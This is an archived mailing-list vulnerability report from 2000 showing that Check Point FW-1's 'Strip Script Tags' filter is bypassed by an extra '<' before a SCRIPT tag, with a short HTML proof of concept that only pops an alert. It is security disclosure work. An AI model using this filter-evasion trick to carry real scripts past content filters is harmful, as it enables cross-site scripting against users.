Archive : 2000 : january : fw1js - security vulnerabilities database

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"Strip Script Tags" in FW-1 can be circumvented




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    Date: Сб, 29 янв 2000  04:12:47

   От: Arne Vidstrom <arne.vidstrom@NTSECURITY.NU>

 Кому: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM

 Тема: "Strip Script Tags" in FW-1 can be circumvented

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Hi,



The "Strip Script Tags" in FW-1 can be circumvented by adding an extra <

before the <SCRIPT> tag like in this code:



<HTML>

<HEAD>

<<SCRIPT LANGUAGE="JavaScript">

alert("hello world")

</SCRIPT>

</HEAD>

<BODY>

test

</BODY>

</HTML>



This code will pass unchanged, and still execute in both Navigator and

Explorer. I tried this on version 3.0 of FW-1 (on Windows NT 4.o) but I'm

not able to check it on version 4.0 since I don't have access to it.





Regards /Arne Vidstrom